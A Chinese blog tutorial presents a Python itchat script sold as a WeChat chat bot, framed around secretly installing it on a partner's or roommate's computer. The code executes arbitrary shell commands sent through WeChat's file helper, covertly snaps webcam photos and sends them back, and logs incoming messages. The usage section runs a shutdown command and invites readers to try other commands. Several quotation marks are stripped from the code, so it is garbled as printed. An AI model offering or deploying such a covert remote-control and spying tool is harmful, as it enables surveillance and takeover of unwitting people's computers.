微信python天天学_用 Python 玩微信,机器人陪你唠嗑

阅读文本大概需要 5 分钟。

应用场景

你可爱又迷人的女朋友,在看到这篇教程之后,非常的开心。在你的电脑上部署了这个脚本,并且在你不知情的情况下,默默的登录上。随后跟你说我出去跟闺蜜逛街啦,今天就不陪你了。要记得不准吃鸡。

你心想老子终于可以放松一天了!开心的吃鸡!口上说着:“好的!亲爱的玩得开心!”等着女朋友出门以后,你就开启了吃鸡模式,在绝地求生里大开杀戒。

最后你想了下不对我没有女朋友啊,随后你转头微笑地看着你的室友。

程序思路

此次程序使用的环境是 python3.6 + windows10,在运行程序之前请先确保你已经安装好了 opencv-python 和 matplotlib。通过 pip install 即可安装。

程序源码

import itchat

import os

import time

import cv2

sendMsg = u"{消息助手}:暂时无法回复"

usageMsg = u"使用方法: 1.运行CMD命令:cmd xxx (xxx为命令) "

u"-例如关机命令: cmd shutdown -s -t 0 "

u"2.获取当前电脑用户:cap 3.启用消息助手(默认关闭):ast "

u"4.关闭消息助手:astc"

flag = 0 #消息助手开关

nowTime = time.localtime()

filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"

myfile = open(filename, w)

@itchat.msg_register(Text)

def text_reply(msg):

global flag

message = msg[Text]

fromName = msg[FromUserName]

toName = msg[ToUserName]

if toName == "filehelper":

if message == "cap":

cap = cv2.VideoCapture(0)

ret, img = cap.read()

cv2.imwrite("weixinTemp.jpg", img)

itchat.send(@img@%s%uweixinTemp.jpg, filehelper)

cap.release()

if message[0:3] == "cmd":

os.system(message.strip(message[0:4]))

if message == "ast":

flag = 1

itchat.send("消息助手已开启", "filehelper")

if message == "astc":

flag = 0

itchat.send("消息助手已关闭", "filehelper")

elif flag == 1:

itchat.send(sendMsg, fromName)

myfile.write(message)

myfile.write(" ")

myfile.flush()

if __name__ == __main__:

itchat.auto_login()

itchat.send(usageMsg, "filehelper")

itchat.run()

程序并不复杂,定义了一些发送的消息,然后通过调用 itchat 和 cv2 相关库的操作,即可实现。关于 itchat 库的一些操作,可以去网上找相关的文档。

使用教程

发送消息「cmd shutdown -s -t 0」即可让当前的电脑关闭。

当然 cmd 命名还可以做更多有趣的事,大家可以自己去网上搜索下。

这波骚操作学会了吗?明天会继续更新新的骚操作「Python 发一个高逼格的朋友圈」。

经验分享 程序员 微信小程序 职场和发展